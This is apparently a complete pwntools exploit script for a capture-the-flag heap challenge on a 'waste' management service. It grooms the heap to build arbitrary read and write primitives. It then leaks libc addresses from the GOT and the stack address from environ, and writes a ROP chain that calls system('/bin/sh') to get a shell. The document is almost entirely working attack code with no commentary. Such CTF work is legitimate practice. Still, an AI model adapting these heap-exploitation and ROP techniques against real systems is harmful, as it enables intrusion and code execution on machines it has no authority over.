#!/usr/bin/python import base64 import time import sys import random import hashlib import subprocess import requests from datetime import datetime from pwn import * import re context(arch='amd64', os='linux') context.terminal = ["tmux", "splitw", '-h'] binpath = './bin_patched' libcpath = './libc.so' if 'DEBUG' in sys.argv: context.log_level = 'DEBUG' debugger = 'GDB' in args _remote = 'REMOTE' in args def init(): HOST, PORT = 'rectum.ctf', 1337 if _remote: io = remote(HOST, PORT) else: io = process(binpath) io.settimeout(3) return io def attach(addrs): if debugger and not _remote: gdbscript = '' for a in addrs: gdbscript += f'b *{a}\n' gdbscript += 'c\n' gdb.attach(io, gdbscript=gdbscript) e = ELF(binpath) libc = ELF(libcpath) class Waste: def __init__(self, id, name, data): self.id = id self.name = name self.data = data def __repr__(self): return f'<{self.__class__}: {self.id}, {self.name}, {self.data}>' def parse_wastes(): data = list_and_extract_wastes() ids_names = [l for l in data.splitlines()[0::2]] ids = [l.split('] ')[0].replace('[', '') for l in ids_names] names = [l.split('] ')[1].strip() for l in ids_names] data = [l for l in data.splitlines()[1::2]] return [Waste(i, n, d) for i, n, d in zip(ids, names, data)] def add_waste(name, size, content): # print(f">>>> add({name}, {size}, {content})") out = b'' out += io.recvuntil(b'Choose your option:') io.sendline(b'a') out += io.recvline() out += io.recvline() if b"No space" in out: return False # io.sendlineafter(b'[?] Waste Name:', name) io.sendline(name) out += io.recvuntil(b'[?] Waste Size:') io.sendline(str(size).encode()) out += io.recvuntil(b'[?] Waste Content:', content) io.sendline(content) out += io.recvuntil(b'[+] Control Panel') # print(out.decode()) return out def list_waste(): # print(f">>>> list()") io.sendlineafter(b'Choose your option:', b'b', timeout=5) # print(io.recvuntil(b'[+] Control Panel', timeout=5).decode()) def edit_waste(id, content, cleanup=True): io.sendlineafter(b'Choose your option:', b'c') io.sendlineafter(b'[?] Waste ID:', str(id).encode()) io.sendafter(b'[?] Waste Content:', content) if cleanup: io.recvline() returned = io.recv() return data def flush_waste(id): print(f">>>> flush({id})") #io.sendlineafter(b'Choose your option:', b'd') out = io.recvuntil(b'Choose your option:') io.sendline(b'd') # io.sendlineafter(b'[?] Waste ID:', str(id).encode()) out += io.recvuntil(b'[?] Waste ID:') io.sendline(str(id).encode()) out += io.recvuntil(b'[+] Control Panel') print(out.decode()) return out def _exit(): print(f">>>> exit()") io.sendlineafter(b'Choose your option:', b'e') print(io.recvall().decode()) def list_and_extract_wastes(): io.sendlineafter(b'Choose your option:', b'b') data = io.recvuntil(b'[+]').decode().strip() idx = data.find('[00]') data = data[idx:].split('[+]')[0] return data def verify_good_heap_layout(): wastes = parse_wastes() if len(wastes) >= 7 and '63' * 2000 in wastes[1].data: print(wastes[1]) print(wastes[6]) return True return False def set_where(where, len=8): wastes = parse_wastes() data = binascii.unhexlify(wastes[1].data) idx = data.find(b'c' * 32) idx_len = idx + 2048 idx_where = idx_len + 8 new_data = data[:idx_len] + p64(len) + p64(where) + data[idx_where+8:] edit_waste(1, new_data) # print(f">>>> list()") # io.sendlineafter(b'Choose your option:', b'b') # data = io.recvuntil(b'[+]') # for x in data.split(b'\n'): # if b'636363636363' in x: # data = binascii.unhexlify(x.decode()) # idx = data.find(b'c' * 32) # idx_len = idx + 2048 # idx_where = idx_len + 8 # # print(data) # # ptr = data[2080:2080+8] # # ptr = u64(ptr) # # new_data = data[:2072] + p64(len) + p64(where) + data[2080+8:] # new_data = data[:idx_len] + p64(len) + p64(where) + data[idx_where+8:] # break # edit_waste(1, new_data) def write(what, cleanup=True): io.recvuntil(b'Choose your option:', timeout=2) io.sendline(b'b') io.recvuntil(b'cccccccc\n') data = io.recvline().decode() data = binascii.unhexlify(data.strip()) new_data = what edit_waste(6, new_data, cleanup=cleanup) def extract_arbitrary_leak(len): io.recvuntil(b'Choose your option:', timeout=2) io.sendline(b'b') io.recvuntil(b'cccccccc\n') data = io.recvline().decode() data = binascii.unhexlify(data.strip())[:len] _junk = io.recvuntil(b'[+]') return data def leaker(addr, length=8): set_where(addr, len=length) return extract_arbitrary_leak(length) def writer(addr, value, cleanup=True): set_where(addr, len(value)) write(value, cleanup=cleanup) def leak_libc_base(): libc_base = u64(leaker(e.got['__libc_start_main'])) - libc.symbols['__libc_start_main'] return libc_base waste_size = 0x810 waste_with_header_size = 0x820 stack_offs = 32 * 19 while True: time.sleep(1) io = init() add_waste(b'orao', waste_size * 3 + 0x40, b'A' * (0x810*3 + 0x40 - 1)) res = flush_waste(0) while b'[!] Flushing' not in res: res = add_waste(b'ppp', 8, b'abcdefg') print(b'[!] Flushing' in res) add_waste(b'b' * 0x7f0, waste_size + 0x90, b'B' * (waste_size+0x90-1)) add_waste(b'c' * 0x7f0, waste_size - 0x60, b'C' * (waste_size-0x60-1)) add_waste(b'd' * 0x7f0, waste_size - 0x60, b'D' * (waste_size-0x60-1)) if verify_good_heap_layout(): # print(parse_wastes()) libc.address = leak_libc_base() if libc.address <= 0: io.close() continue else: print("bad heap layout") io.close() continue __libc_start_main = u64(leaker(e.got['__libc_start_main'])) strcpy = u64(leaker(e.got['strcpy'])) atoi = u64(leaker(e.got['atoi'])) environ = libc.symbols['environ'] try: stack = u64(leaker(environ, length=8)) print('! stack', hex(stack)) break except: print("bad stack leak") io.close() continue edit_ret_addr = stack - 32 - stack_offs ret = 0x0401AEC rop = ROP(libc) binsh = next(libc.search(b"/bin/sh\x00")) # RETsled for i in range(9): rop.raw(ret) rop.call(libc.symbols['system'], (binsh,)) writer(edit_ret_addr, rop.chain(), cleanup=False)